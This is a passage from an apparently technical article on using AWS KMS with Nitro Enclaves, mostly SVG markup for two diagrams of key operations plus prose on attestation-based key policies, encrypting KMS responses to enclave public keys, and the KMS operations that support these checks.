<text text-anchor="middle" x="328" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="372" fill="currentColor">g</text>
<text text-anchor="middle" x="328" y="388" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="532" fill="currentColor">m</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="292" fill="currentColor">,</text>
<text text-anchor="middle" x="336" y="308" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="372" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="388" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="532" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="580" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="344" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="388" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="532" fill="currentColor">_</text>
<text text-anchor="middle" x="344" y="580" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">p</text>
<text text-anchor="middle" x="352" y="244" fill="currentColor">K</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="352" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="352" y="388" fill="currentColor">p</text>
<text text-anchor="middle" x="352" y="532" fill="currentColor">i</text>
<text text-anchor="middle" x="352" y="580" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">l</text>
<text text-anchor="middle" x="360" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="360" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="360" y="388" fill="currentColor">u</text>
<text text-anchor="middle" x="360" y="532" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="580" fill="currentColor">/</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="368" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="368" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="388" fill="currentColor">b</text>
<text text-anchor="middle" x="368" y="532" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="580" fill="currentColor">p</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">i</text>
<text text-anchor="middle" x="376" y="244" fill="currentColor">P</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="372" fill="currentColor">v</text>
<text text-anchor="middle" x="376" y="388" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="376" y="580" fill="currentColor">r</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="384" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="384" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="388" fill="currentColor">d</text>
<text text-anchor="middle" x="384" y="532" fill="currentColor">_</text>
<text text-anchor="middle" x="384" y="580" fill="currentColor">i</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="392" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="392" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="392" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="392" y="388" fill="currentColor">a</text>
<text text-anchor="middle" x="392" y="532" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="580" fill="currentColor">v</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="400" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="400" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="400" y="372" fill="currentColor">s</text>
<text text-anchor="middle" x="400" y="388" fill="currentColor">t</text>
<text text-anchor="middle" x="400" y="532" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="580" fill="currentColor">}</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="408" y="148" fill="currentColor">x</text>
<text text-anchor="middle" x="408" y="244" fill="currentColor">(</text>
<text text-anchor="middle" x="408" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="408" y="372" fill="currentColor">g</text>
<text text-anchor="middle" x="408" y="388" fill="currentColor">a</text>
<text text-anchor="middle" x="408" y="532" fill="currentColor">/</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="416" y="244" fill="currentColor">c</text>
<text text-anchor="middle" x="416" y="308" fill="currentColor">v</text>
<text text-anchor="middle" x="416" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="388" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="532" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="424" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="424" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="532" fill="currentColor">_</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="244" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="308" fill="currentColor">}</text>
<text text-anchor="middle" x="432" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="440" y="244" fill="currentColor">_</text>
<text text-anchor="middle" x="440" y="532" fill="currentColor">r</text>
<text text-anchor="middle" x="448" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="448" y="532" fill="currentColor">i</text>
<text text-anchor="middle" x="456" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="456" y="532" fill="currentColor">v</text>
<text text-anchor="middle" x="464" y="244" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="532" fill="currentColor">)</text>
<text text-anchor="middle" x="480" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 1: Basic KMS operations. <code>cmk_id</code> is an ID (ARN) of CMK key, <code>cmk</code> is the actual key used, <code>enc</code> is encryption, and <code>dec</code> is decryption.</span></figcaption></figure>
<p>Access to keys is subject to <a href="https://docs.aws.amazon.com/kms/latest/developerguide/control-access.html">authorization
policies</a>, including key
policies, IAM policies, and grants. <a href="https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-modifying-external-accounts.html">Cross-account
access</a>
for keys can be enabled.</p>
<p>Keys can be <a href="https://docs.aws.amazon.com/kms/latest/developerguide/concepts.html#key-id">identified in multiple
ways</a>: ARN, Id, Alias
ARN, and Alias name. Keys are usually per-region (single-region), but <a href="https://docs.aws.amazon.com/kms/latest/developerguide/multi-region-keys-overview.html">multi-region keys can be
created</a> too.</p>
<h2>Enclave-KMS communication</h2>
<p>There are two mechanisms that are in play when integrating KMS with Nitro Enclaves:</p>
<ul>
<li>KMS policies restricting access to CMKs to specific enclaves (by PCR values)</li>
<li>KMS encrypting responses to enclave’s public keys</li>
</ul>
<p>In the first mechanism, the key policy may authorize access to only requests that contain fresh and
correctly signed attestation documents with the expected PCR values. Enclaves have to generate
attestations and include them in requests to KMS. Note that the enclave still needs IAM credentials
to access KMS in the first place.</p>
<p>The second mechanism is about enclaves sending asymmetric public keys (inside the attestation
documents) to KMS, and KMS encrypting part of the responses to the key. This mechanism is supposed
to ensure that only the requesting enclave can see output from KMS.</p>
<p>Only <a href="https://docs.aws.amazon.com/kms/latest/developerguide/conditions-attestation.html">a few KMS
operations</a>
support these two mechanisms. The operations are:</p>
<ul>
<li><code>GenerateDataKey</code>, <code>GenerateDataKeyPair</code></li>
<li><code>Decrypt</code></li>
<li><code>DeriveSharedSecret</code></li>
<li><code>GenerateRandom</code></li>
</ul>
<p>Note the absence of the <code>Encrypt</code> operation: enclaves can request this operation, but without the
attestation-based security mechanisms. CMKs cannot be used directly by enclaves for encryption
without missing on the attestation checks. This means cryptography operations are supposed to be
implemented via data keys, and not directly via CMKs.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 560 473">
 <g transform="translate(8,16)">
<path d="M 240,48 L 536,48" fill="none" stroke="currentColor"></path>
<path d="M 248,112 L 256,112" fill="none" stroke="currentColor"></path>
<path d="M 272,112 L 280,112" fill="none" stroke="currentColor"></path>
<path d="M 288,112 L 296,112" fill="none" stroke="currentColor"></path>
<path d="M 304,112 L 312,112" fill="none" stroke="currentColor"></path>
<path d="M 320,112 L 328,112" fill="none" stroke="currentColor"></path>
<path d="M 336,112 L 344,112" fill="none" stroke="currentColor"></path>
<path d="M 352,112 L 360,112" fill="none" stroke="currentColor"></path>
<path d="M 368,112 L 376,112" fill="none" stroke="currentColor"></path>
<path d="M 384,112 L 392,112" fill="none" stroke="currentColor"></path>
<path d="M 400,112 L 408,112" fill="none" stroke="currentColor"></path>
<path d="M 416,112 L 424,112" fill="none" stroke="currentColor"></path>
<path d="M 432,112 L 440,112" fill="none" stroke="currentColor"></path>
<path d="M 448,112 L 456,112" fill="none" stroke="currentColor"></path>
<path d="M 464,112 L 472,112" fill="none" stroke="currentColor"></path>
<path d="M 480,112 L 488,112" fill="none" stroke="currentColor"></path>
<path d="M 496,112 L 504,112" fill="none" stroke="currentColor"></path>
<path d="M 512,112 L 520,112" fill="none" stroke="currentColor"></path>
<path d="M 528,112 L 536,112" fill="none" stroke="currentColor"></path>
<path d="M 240,144 L 264,144" fill="none" stroke="currentColor"></path>
<path d="M 448,160 L 456,160" fill="none" stroke="currentColor"></path>
<path d="M 248,176 L 264,176" fill="none" stroke="currentColor"></path>
<path d="M 40,224 L 240,224" fill="none" stroke="currentColor"></path>
<path d="M 40,272 L 48,272" fill="none" stroke="currentColor"></path>
<path d="M 56,272 L 64,272" fill="none" stroke="currentColor"></path>
<path d="M 72,272 L 80,272" fill="none" stroke="currentColor"></path>
<path d="M 88,272 L 96,272" fill="none" stroke="currentColor"></path>
<path d="M 104,272 L 112,272" fill="none" stroke="currentColor"></path>
<path d="M 120,272 L 128,272" fill="none" stroke="currentColor"></path>
<path d="M 136,272 L 144,272" fill="none" stroke="currentColor"></path>
<path d="M 152,272 L 160,272" fill="none" stroke="currentColor"></path>
<path d="M 168,272 L 176,272" fill="none" stroke="currentColor"></path>
<path d="M 184,272 L 192,272" fill="none" stroke="currentColor"></path>
<path d="M 200,272 L 208,272" fill="none" stroke="currentColor"></path>
<path d="M 216,272 L 232,272" fill="none" stroke="currentColor"></path>
<path d="M 240,320 L 536,320" fill="none" stroke="currentColor"></path>
<path d="M 248,368 L 256,368" fill="none" stroke="currentColor"></path>
<path d="M 272,368 L 280,368" fill="none" stroke="currentColor"></path>
<path d="M 288,368 L 296,368" fill="none" stroke="currentColor"></path>
<path d="M 304,368 L 312,368" fill="none" stroke="currentColor"></path>
<path d="M 320,368 L 328,368" fill="none" stroke="currentColor"></path>
<path d="M 336,368 L 344,368" fill="none" stroke="currentColor"></path>
<path d="M 352,368 L 360,368" fill="none" stroke="currentColor"></path>
<path d="M 368,368 L 376,368" fill="none" stroke="currentColor"></path>
<path d="M 384,368 L 392,368" fill="none" stroke="currentColor"></path>
<path d="M 400,368 L 408,368" fill="none" stroke="currentColor"></path>
<path d="M 416,368 L 424,368" fill="none" stroke="currentColor"></path>
<path d="M 432,368 L 440,368" fill="none" stroke="currentColor"></path>
<path d="M 448,368 L 456,368" fill="none" stroke="currentColor"></path>
<path d="M 464,368 L 472,368" fill="none" stroke="currentColor"></path>
<path d="M 480,368 L 488,368" fill="none" stroke="currentColor"></path>
<path d="M 496,368 L 504,368" fill="none" stroke="currentColor"></path>
<path d="M 512,368 L 520,368" fill="none" stroke="currentColor"></path>
<path d="M 528,368 L 536,368" fill="none" stroke="currentColor"></path>
<path d="M 240,400 L 264,400" fill="none" stroke="currentColor"></path>
<path d="M 464,416 L 472,416" fill="none" stroke="currentColor"></path>
<path d="M 248,432 L 264,432" fill="none" stroke="currentColor"></path>
<path d="M 32,16 L 32,448" fill="none" stroke="currentColor"></path>
<path d="M 240,16 L 240,48" fill="none" stroke="currentColor"></path>
<path d="M 240,48 L 240,144" fill="none" stroke="currentColor"></path>
<path d="M 240,144 L 240,224" fill="none" stroke="currentColor"></path>
<path d="M 240,224 L 240,320" fill="none" stroke="currentColor"></path>
<path d="M 240,320 L 240,400" fill="none" stroke="currentColor"></path>
<path d="M 240,400 L 240,448" fill="none" stroke="currentColor"></path>
<path d="M 264,144 L 264,176" fill="none" stroke="currentColor"></path>
<path d="M 264,400 L 264,432" fill="none" stroke="currentColor"></path>
<path d="M 544,16 L 544,448" fill="none" stroke="currentColor"></path>
<polygon points="48.000000,224.000000 36.000000,218.399994 36.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 40.000000, 224.000000)"></polygon>
<polygon points="240.000000,272.000000 228.000000,266.399994 228.000000,277.600006" fill="currentColor" transform="rotate(0.000000, 232.000000, 272.000000)"></polygon>
<polygon points="256.000000,112.000000 244.000000,106.400002 244.000000,117.599998" fill="currentColor" transform="rotate(180.000000, 248.000000, 112.000000)"></polygon>
<polygon points="256.000000,176.000000 244.000000,170.399994 244.000000,181.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 176.000000)"></polygon>
<polygon points="256.000000,368.000000 244.000000,362.399994 244.000000,373.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 368.000000)"></polygon>
<polygon points="256.000000,432.000000 244.000000,426.399994 244.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 432.000000)"></polygon>
<polygon points="464.000000,160.000000 452.000000,154.399994 452.000000,165.600006" fill="currentColor" transform="rotate(0.000000, 456.000000, 160.000000)"></polygon>
<polygon points="480.000000,416.000000 468.000000,410.399994 468.000000,421.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 416.000000)"></polygon>
<polygon points="544.000000,48.000000 532.000000,42.400002 532.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 536.000000, 48.000000)"></polygon>
<polygon points="544.000000,320.000000 532.000000,314.399994 532.000000,325.600006" fill="currentColor" transform="rotate(0.000000, 536.000000, 320.000000)"></polygon>
<text text-anchor="middle" x="0" y="4" fill="currentColor">S</text>
<text text-anchor="middle" x="8" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="16" y="4" fill="currentColor">o</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">g</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="56" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="56" y="260" fill="currentColor">E</text>
<text text-anchor="middle" x="64" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="64" y="260" fill="currentColor">_</text>
<text text-anchor="middle" x="72" y="212" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="260" fill="currentColor">d</text>
<text text-anchor="middle" x="80" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="80" y="260" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">_</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="256" y="308" fill="currentColor">D</text>
<text text-anchor="middle" x="264" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="264" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="356" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="272" y="100" fill="currentColor">E</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="272" y="356" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">_</text>
<text text-anchor="middle" x="280" y="100" fill="currentColor">_</text>
<text text-anchor="middle" x="280" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="280" y="356" fill="currentColor">_</text>
<text text-anchor="middle" x="280" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">a</text>
<text text-anchor="middle" x="288" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="288" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="288" y="356" fill="currentColor">a</text>
<text text-anchor="middle" x="288" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="296" y="356" fill="currentColor">2</text>
<text text-anchor="middle" x="296" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="100" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="356" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="420" fill="currentColor">(</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="312" y="356" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="420" fill="currentColor">a</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="356" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="420" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="328" y="356" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="420" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">a</text>
<text text-anchor="middle" x="336" y="100" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="356" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">t</text>
<text text-anchor="middle" x="344" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">s</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="344" y="356" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">s</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="100" fill="currentColor">m</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="352" y="356" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="360" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="356" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">_</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">s</text>
<text text-anchor="middle" x="368" y="100" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">p</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="356" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="420" fill="currentColor">p</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">t</text>
<text text-anchor="middle" x="376" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">r</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="376" y="356" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="420" fill="currentColor">r</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">_</text>
<text text-anchor="middle" x="384" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">i</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="384" y="356" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="420" fill="currentColor">i</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">p</text>
<text text-anchor="middle" x="392" y="100" fill="currentColor">)</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">v</text>
<text text-anchor="middle" x="392" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="356" fill="currentColor">_</text>
<text text-anchor="middle" x="392" y="420" fill="currentColor">v</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">u</text>
<text text-anchor="middle" x="400" y="100" fill="currentColor">}</text>
<text text-anchor="middle" x="400" y="164" fill="currentColor">,</text>
<text text-anchor="middle" x="400" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="356" fill="currentColor">p</text>
<text text-anchor="middle" x="400" y="420" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">b</text>
<text text-anchor="middle" x="408" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="408" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="408" y="356" fill="currentColor">u</text>
<text text-anchor="middle" x="408" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="416" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="416" y="356" fill="currentColor">b</text>
<text text-anchor="middle" x="416" y="420" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="424" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="424" y="356" fill="currentColor">2</text>
<text text-anchor="middle" x="424" y="420" fill="currentColor">_</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="432" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="432" y="356" fill="currentColor">,</text>
<text text-anchor="middle" x="432" y="420" fill="currentColor">a</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="440" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="440" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="440" y="356" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="420" fill="currentColor">2</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="448" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="448" y="356" fill="currentColor">k</text>
<text text-anchor="middle" x="448" y="420" fill="currentColor">)</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="456" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="456" y="356" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="464" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="464" y="356" fill="currentColor">}</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">s</text>
<text text-anchor="middle" x="472" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="472" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="480" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="480" y="308" fill="currentColor">u</text>
<text text-anchor="middle" x="488" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="488" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="488" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="496" y="36" fill="currentColor">p</text>
<text text-anchor="middle" x="496" y="308" fill="currentColor">2</text>
<text text-anchor="middle" x="496" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="504" y="36" fill="currentColor">u</text>
<text text-anchor="middle" x="504" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="512" y="36" fill="currentColor">b</text>
<text text-anchor="middle" x="520" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="528" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="536" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="544" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 2: Basic KMS operations with enclave attestation.</span></figcaption></figure>
<h2>Use cases</h2>
<p>KMS can be integrated with Nitro Enclaves for various reasons: for application-specific needs, to
sign enclave image files (EIFs), or to increase the entropy available in the enclave.</p>
